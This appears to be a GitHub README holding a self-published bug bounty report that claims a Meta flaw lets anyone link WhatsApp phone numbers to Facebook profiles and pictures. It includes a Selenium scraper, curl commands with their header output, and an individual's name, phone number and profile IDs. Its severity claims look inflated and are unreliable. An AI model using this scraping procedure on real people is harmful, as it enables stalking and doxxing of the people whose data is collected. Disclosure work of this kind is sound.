Meta Critical vulnerability report

Bug Bounty Report for Meta (Facebook/WhatsApp)

Title: Exposure of Sensitive User Information via Linked Facebook and WhatsApp Accounts

User PFBIDs and more exposure using a basic python script.

Packages: selenium, chromedriver.

Hacker: DeadmanXXXII

Date: 15/10/2024

Contact info:

Email: themadhattersplayground@gmail.com

Instagram: CyberShorts2024

LinkedIn: Blu Corbel

Website: https://the-mad-hatters-playground.netlify.app

Summary: A vulnerability exists in the way Meta handles Facebook and WhatsApp account integration. This flaw allows attackers to collect sensitive information, including Facebook private pictures, Public Facebook IDs (PFBIDs), FBID'S private fb id numbers and WhatsApp phone numbers. The attacker can compile personal data for multiple users with minimal effort, leading to a severe privacy violation and increasing the risk of targeted stalking and social engineering attacks.

Steps to Reproduce:

I found this URL in an old report the phone number is a mutable variable. WhatsApp phone number URL, such as:

https://www.whatsapp.com/accounts?phone=905425687550&

Follow the link to the associated Facebook profile, which reveals:

https://www.facebook.com/profile.php?id=100064758844407

Use curl -I -L https://www.facebook.com/profile.php?id=100064758844407 Under the Location header in the output grab that URL to go into ls4.py
python3 ls4.py
The attacker now has access to the following:

The Facebook profile name.

The Public Facebook ID (PFBID) which is associated with numerical profile IDs, further exposing other profile details.

Facebook profile and private pictures.

A mobile number.

An associated WhatsApp account.

The process can be repeated for multiple users, accumulating sensitive information like WhatsApp phone numbers, Facebook profile details, and personal images, all without authentication.

Evidence: The following is an example of compromised information collected via the attack:

WhatsApp Number: +905425687550

Facebook Profile: https://www.facebook.com/profile.php?id=100064758844407

Profile Picture PFBID Exposure:

Profile images with numerical IDs (PFBIDs) attached to URLs.

Example: User Nandar Singh (see screenshot for visual proof of profile image access).

Impact: This vulnerability allows for the collection of the following types of sensitive user information:

Facebook Profile Pictures.
WhatsApp Numbers.
Public Facebook IDs (PFBIDs).
Other sensitive URLs exposing user-specific data.
FBID'S not public
Individual picture IDs

This personal information can be used to stalk, socially engineer, or harass users across platforms. The data leakage allows a malicious actor to compile user details without their consent, leading to potential harm.

Security Misconfiguration and Weaknesses: The vulnerability stems from weak access controls and improper authorization management between WhatsApp and Facebook integrations. The following weaknesses are directly related to this issue:

CWE-359: Exposure of Private Information ('Privacy Violation')

Personal data such as WhatsApp numbers, profile images, and Facebook IDs are leaked.

CWE-285: Improper Authorization

The system fails to enforce proper access controls, allowing unauthorized users to gather sensitive data.

CWE-312: Cleartext Storage of Sensitive Information

Personal data such as phone numbers and user IDs are easily accessible and stored in cleartext across URLs.

CVSS Score:

Base Score: 9.1 (Critical)

Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Remediation: To fix this issue, Meta should implement the following:

Enhanced Authentication: Strengthen access controls for URLs containing sensitive information like profile pictures, WhatsApp numbers, and PFBIDs. Ensure only authorized users can view this data.
Data Masking: Mask sensitive information in the URLs or metadata that can be directly accessed by unauthorized users.
Cleartext Removal: Securely encrypt sensitive data, such as PFBIDs and phone numbers, before transmitting or storing it.
Audit and Fix Privacy Loopholes: Conduct a comprehensive audit to identify other instances where sensitive data may be inadvertently exposed between Meta's platforms.

Conclusion: This vulnerability poses a significant risk to user privacy, enabling malicious actors to compile and exploit sensitive personal data with little effort. It affects both WhatsApp and Facebook users by exposing phone numbers, profile details, and other identifying information, leading to serious stalking or social engineering threats.

Pictures:

Just like that a phone number, a Facebook profile, associated people, pictures, general location, all the datas locations. I could move forward with seizing the account but I won't.

Terminal: Also present in text.docx above.

┌──(root㉿localhost)-[~/remedy/Scraped] └─# cat ls4.py

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time

# Path to your chromedriver
chrome_driver_path = '/usr/bin/chromedriver'

# Set up Chrome options
chrome_options = Options()
chrome_options.add_argument('--headless')  # Ensure GUI is not needed
chrome_options.add_argument('--no-sandbox')
chrome_options.add_argument('--disable-dev-shm-usage')

# Initialize the Chrome driver
service = Service(chrome_driver_path)
driver = webdriver.Chrome(service=service, options=chrome_options)

try:
    url = "https://www.whatsapp.com/accounts?phone=905425687550&"
    driver.get(url)

    # Wait for the page to load
    WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.TAG_NAME, 'body')))

    # Example: Scrape all links
    links = driver.find_elements(By.TAG_NAME, 'a')
    for link in links:
        print(link.get_attribute('href'))

finally:
    # Clean up
    driver.quit()

┌──(root㉿localhost)-[~/remedy/Scraped] └─# curl -I -L https://www.facebook.com/profile.php?id=100064758844409 HTTP/2 200 vary: Accept-Encoding accept-ch-lifetime: 4838400 accept-ch: viewport-width,dpr,Sec-CH-Prefers-Color-Scheme,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model pragma: no-cache cache-control: private, no-cache, no-store, must-revalidate expires: Sat, 01 Jan 2000 00:00:00 GMT content-security-policy: default-src data: blob: 'self' https://*.fbsbx.com 'unsafe-inline' *.facebook.com *.fbcdn.net 'unsafe-eval';script-src *.facebook.com .fbcdn.net .facebook.net 127.0.0.1: 'unsafe-inline' blob: data: 'self' connect.facebook.net 'unsafe-eval' https://.google-analytics.com .google.com;style-src .fbcdn.net data: .facebook.com 'unsafe-inline' https://fonts.googleapis.com;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: *.cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net *.fbsbx.com .fb.com https://.google-analytics.com;font-src data: *.facebook.com *.fbcdn.net *.fbsbx.com https://fonts.gstatic.com;img-src *.fbcdn.net .facebook.com data: https://.fbsbx.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net connect.facebook.net *.carriersignal.info blob: android-webview-video-poster: *.whatsapp.net *.fb.com *.oculuscdn.com *.tenor.co .tenor.com .giphy.com https://paywithmybank.com/ https://.paywithmybank.com/ https://www.googleadservices.com https://googleads.g.doubleclick.net https://.google-analytics.com;media-src *.cdninstagram.com blob: *.fbcdn.net *.fbsbx.com www.facebook.com *.facebook.com data: *.tenor.co .tenor.com https://.giphy.com;frame-src *.facebook.com *.fbsbx.com fbsbx.com data: www.instagram.com .fbcdn.net https://paywithmybank.com/ https://.paywithmybank.com/ https://www.googleadservices.com https://googleads.g.doubleclick.net https://www.google.com https://td.doubleclick.net *.google.com *.doubleclick.net;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests; x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 0 reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown&brsid=7426110236368539660" report-to: {"max_age":2592000,"endpoints":[{"url":"https://www.facebook.com/browser_reporting/coop/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https://www.facebook.com/browser_reporting/coep/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown&brsid=7426110236368539660"}]} cross-origin-embedder-policy-report-only: require-corp;report-to="coep_report" cross-origin-opener-policy: same-origin-allow-popups;report-to="coop_report" strict-transport-security: max-age=15552000; preload content-type: text/html; charset="utf-8" x-fb-debug: HI39gbOrXuvu+cdg0/c4RhQ7h99ViPJOehXsi8N8YqsA7lkJrKM41XafOSQLz4pEJy1apakkMHR2On2RyhaeJQ== date: Tue, 15 Oct 2024 21:00:26 GMT x-fb-connection-quality: EXCELLENT; q=0.9, rtt=14, rtx=0, c=10, mss=1380, tbw=2689, tp=-1, tpl=-1, uplat=51, ullat=0 alt-svc: h3=":443"; ma=86400

┌──(root㉿localhost)-[~/remedy/Scraped] └─# curl -I -L https://www.facebook.com/profile.php?id=100034758844409 HTTP/2 302 location: https://www.facebook.com/nandar.singh.507/ reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0" report-to: {"max_age":2592000,"endpoints":[{"url":"https://www.facebook.com/browser_reporting/coop/?minimize=0"}],"group":"coop_report","include_subdomains":true} cross-origin-opener-policy: same-origin-allow-popups strict-transport-security: max-age=15552000; preload content-type: text/html; charset="utf-8" x-fb-debug: mrDn2m00yIDJbsJldB/awVzBTejBeCpddtHYTF5w1EUJ7WuloePg0Evg87tZg1Cc1VEqT6SL3rKccxH9ElENzw== content-length: 0 date: Tue, 15 Oct 2024 21:02:58 GMT x-fb-connection-quality: EXCELLENT; q=0.9, rtt=16, rtx=0, c=10, mss=1380, tbw=2690, tp=-1, tpl=-1, uplat=29, ullat=0 alt-svc: h3=":443"; ma=86400

HTTP/2 200 vary: Accept-Encoding accept-ch-lifetime: 4838400 accept-ch: viewport-width,dpr,Sec-CH-Prefers-Color-Scheme,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model link: https://www.facebook.com/nandar.singh.507; rel="canonical" reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown&brsid=7426110889259842757", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https://www.facebook.com/browser_reporting/coop/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":259200,"endpoints":[{"url":"https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown&brsid=7426110889259842757"}]}, {"max_age":21600,"endpoints":[{"url":"https://www.facebook.com/ajax/browser_error_reports/"}],"group":"permissions_policy"} content-security-policy-report-only: default-src data: blob: 'self' https://*.fbsbx.com 'unsafe-inline' *.facebook.com *.fbcdn.net 'unsafe-eval';script-src *.facebook.com .fbcdn.net .facebook.net 127.0.0.1: 'unsafe-inline' blob: data: 'self' connect.facebook.net 'unsafe-eval' https://.google-analytics.com .google.com;style-src .fbcdn.net data: .facebook.com 'unsafe-inline' https://fonts.googleapis.com;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: *.cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net .fbsbx.com .fb.com https://.google-analytics.com https://api.mapbox.com https://.tiles.mapbox.com https://events.mapbox.com https://meta.privacy-gateway.cloudflare.com/relay https://meta-ohttp-relay-prod.fastly-edge.com;font-src data: *.facebook.com *.fbcdn.net *.fbsbx.com https://fonts.gstatic.com;img-src *.fbcdn.net .facebook.com data: https://.fbsbx.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net connect.facebook.net *.carriersignal.info blob: android-webview-video-poster: *.whatsapp.net *.fb.com *.oculuscdn.com *.tenor.co .tenor.com .giphy.com https://paywithmybank.com/ https://.paywithmybank.com/ https://www.googleadservices.com https://googleads.g.doubleclick.net https://.google-analytics.com;media-src *.cdninstagram.com blob: *.fbcdn.net *.fbsbx.com www.facebook.com *.facebook.com data: *.tenor.co .tenor.com https://.giphy.com;frame-src *.facebook.com *.fbsbx.com fbsbx.com data: www.instagram.com .fbcdn.net https://paywithmybank.com/ https://.paywithmybank.com/ https://www.googleadservices.com https://googleads.g.doubleclick.net https://www.google.com https://td.doubleclgram.com .fbcdn.net https://paywithmybank.com/ https://.paywithmybank.com/ https://www.googleadservices.com https://googleads.g.doubleclick.net https://www.google.com https://td.doubleclick.net *.google.com *.doubleclick.net;worker-src blob: .facebook.com data:;block-all-mixed-content;upgrade-insecure-requests; document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), browsing-topics=(self), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewport-width=(), ch-width=(), clipboard-read=(self), clipboard-write=(self), compute-pressure=(), display-capture=(self), encrypted-media=(self), fullscreen=(self), gamepad=, geolocation=(self), gyroscope=(), hid=(), idle-detection=(), interest-cohort=(self), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(self), midi=(), otp-credentials=(), payment=(), picture-in-picture=(self), private-state-token-issuance=(), publickey-credentials-get=(self), screen-wake-lock=(), serial=(), shared-storage=(), shared-storage-select-url=(), private-state-token-redemption=(), usb=(), unload=(self), window-management=(), xr-spatial-tracking=(self);report-to="permissions_policy" cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups pragma: no-cache cache-control: private, no-cache, no-store, must-revalidate expires: Sat, 01 Jan 2000 00:00:00 GMT x-content-type-options: nosniff x-xss-protection: 0 x-frame-options: DENY strict-transport-security: max-age=15552000; preload content-type: text/html; charset="utf-8" x-fb-debug: dYuwlFXqzU3l9ddiipiRrmeXrYw2EpLStVonIZZfXFXOToHV+6bq3rG1Ee3uxeHEp3gx/JtCR5iYFOscQhYp7g== date: Tue, 15 Oct 2024 21:02:58 GMT x-fb-connection-quality: EXCELLENT; q=0.9, rtt=16, rtx=0, c=10, mss=1380, tbw=3322, tp=-1, tpl=-1, uplat=45, ullat=0 alt-svc: h3=":443"; ma=86400

┌──(root㉿localhost)-[~/remedy/Scraped] └─# nano ls4.py

Name		Name	Last commit message	Last commit date
README.md		README.md
Screenshot_20241015-135709.png		Screenshot_20241015-135709.png
Screenshot_20241015-135722.png		Screenshot_20241015-135722.png
Screenshot_20241015-135732.png		Screenshot_20241015-135732.png
Screenshot_20241015-135759.png		Screenshot_20241015-135759.png
Screenshot_20241015-135900.png		Screenshot_20241015-135900.png
Screenshot_20241015-151857.png		Screenshot_20241015-151857.png
Screenshot_20241015-151902.png		Screenshot_20241015-151902.png
Screenshot_20241015-220332.png		Screenshot_20241015-220332.png
Screenshot_20241015-222358.png		Screenshot_20241015-222358.png
Screenshot_20241016-011707.png		Screenshot_20241016-011707.png
WhatsApp+FBScraped.docx		WhatsApp+FBScraped.docx
ls4.py		ls4.py

Navigation Menu

Repository files navigation

Meta Critical vulnerability report

Contact info:

Pictures:

About

Releases

Packages

Contributors

Languages

Latest commit

History

Folders and files

Repository files navigation

Meta Critical vulnerability report

Contact info:

Pictures:

About

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages